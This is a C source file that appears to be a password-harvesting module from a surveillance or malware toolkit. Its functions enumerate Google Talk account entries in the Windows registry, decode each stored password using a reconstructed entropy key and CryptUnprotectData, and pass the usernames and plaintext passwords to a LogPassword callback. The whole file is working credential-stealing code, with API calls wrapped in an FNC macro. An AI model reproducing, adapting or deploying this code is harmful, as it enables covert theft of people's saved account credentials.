#define _CRT_SECURE_NO_WARNINGS 1 #include #include #include #include #include "..\\common.h" // callback for the password extern int LogPassword(WCHAR *resource, WCHAR *service, WCHAR *user, WCHAR *pass); #define SAFE_FREE(x) do { if (x) {free(x); x=NULL;} } while (0); struct p_entry { WCHAR service[64]; WCHAR resource[255]; WCHAR user_name[255]; WCHAR user_value[255]; WCHAR pass_name[255]; WCHAR pass_value[255]; }; int decode_pass_gtalk(char *pass, char *decoded) { HANDLE hProc; BYTE TokenInfo[0x200]; CHAR UserName[256]; DWORD UserLen = 256, len; CHAR DomainName[256]; DWORD DomainLen = 256; CHAR entString[512]; SID_NAME_USE peuse; PTOKEN_USER ptu; BYTE blob[1024]; DATA_BLOB dataIn; DATA_BLOB entropy; DATA_BLOB dataOut; // get user informations... FNC(OpenProcessToken)(FNC(GetCurrentProcess)(), TOKEN_QUERY, &hProc); if (hProc == NULL) return 0; if (FNC(GetTokenInformation)(hProc, TokenUser, TokenInfo, 0x200, &len) == 0) { CloseHandle(hProc); return 0; } ptu = (PTOKEN_USER)&TokenInfo; if (FNC(LookupAccountSidA)(NULL, ptu->User.Sid, UserName, &UserLen, DomainName, &DomainLen, &peuse) == 0) { CloseHandle(hProc); return 0; } CloseHandle(hProc); sprintf_s(entString, 512, "%s%s", UserName, DomainName); unsigned char entropybuf[16] = { 0xa3, 0x1e, 0xf3, 0x69, 0x07, 0x62, 0xd9, 0x1f, 0x1e, 0xe9, 0x35, 0x7d, 0x4f, 0xd2, 0x7d, 0x48 }; unsigned int magic = 0xba0da71d; unsigned int *val; unsigned int i; for(i = 0; i < UserLen + DomainLen; i++) { val = (unsigned int *)(&entropybuf[(i * 4) % 16]); *val ^= (entString[i] * magic); magic *= 0x0bc8f; } magic = *((unsigned int *)entropybuf) | 1; // e` la prima word dell'entropia for(i = 4; i < strlen(pass); i += 2) { blob[(i-4)/2] = (((pass[i] - 1)<<4) | (pass[i + 1] - 0x21)) - (magic & 0xff); magic *= 0x10ff5; } dataIn.pbData = blob; dataIn.cbData = (i-4)/2; entropy.pbData = entropybuf; entropy.cbData = 16; if (FNC(CryptUnprotectData)(&dataIn, NULL, &entropy, NULL, (CRYPTPROTECT_PROMPTSTRUCT *)NULL, 1, &dataOut)) { memcpy(decoded, dataOut.pbData, dataOut.cbData); LocalFree(dataOut.pbData); return dataOut.cbData; } return 0; } int DumpGtalk(void) { HKEY hreg, hsub; DWORD nreg = 0, nsub = 0; WCHAR keyname[MAX_PATH]; WCHAR userkey[MAX_PATH]; CHAR password[1024]; DWORD size; struct p_entry ptentry; if (FNC(RegOpenKeyW)(HKEY_CURRENT_USER, L"Software\\Google\\Google Talk\\Accounts", &hreg) != ERROR_SUCCESS) return 0; // enumerate all the users while (FNC(RegEnumKeyW)(hreg, nreg++, keyname, MAX_PATH) == ERROR_SUCCESS) { nsub = 0; memset(&ptentry, 0, sizeof(ptentry)); swprintf_s(ptentry.service, 255, L"Google Talk"); _snwprintf_s(userkey, MAX_PATH, L"Software\\Google\\Google Talk\\Accounts\\%s", keyname); // open the user section if (FNC(RegOpenKeyW)(HKEY_CURRENT_USER, userkey, &hsub) != ERROR_SUCCESS) continue; size = sizeof(password); if (FNC(RegQueryValueExA)(hsub, "pw", NULL, NULL, (LPBYTE)&password, &size) == ERROR_SUCCESS) { CHAR user[MAX_PATH]; CHAR decoded[1024]; sprintf_s(user, MAX_PATH, "%S", keyname); memset(decoded, 0, MAX_PATH); swprintf_s(ptentry.resource, 255, L"GTALK"); swprintf_s(ptentry.user_value, 255, L"%S", user); decode_pass_gtalk(password, decoded); swprintf_s(ptentry.pass_value, 255, L"%S", decoded); LogPassword(ptentry.service, ptentry.resource, ptentry.user_value, ptentry.pass_value); } FNC(RegCloseKey)(hsub); } FNC(RegCloseKey)(hreg); return 0; } .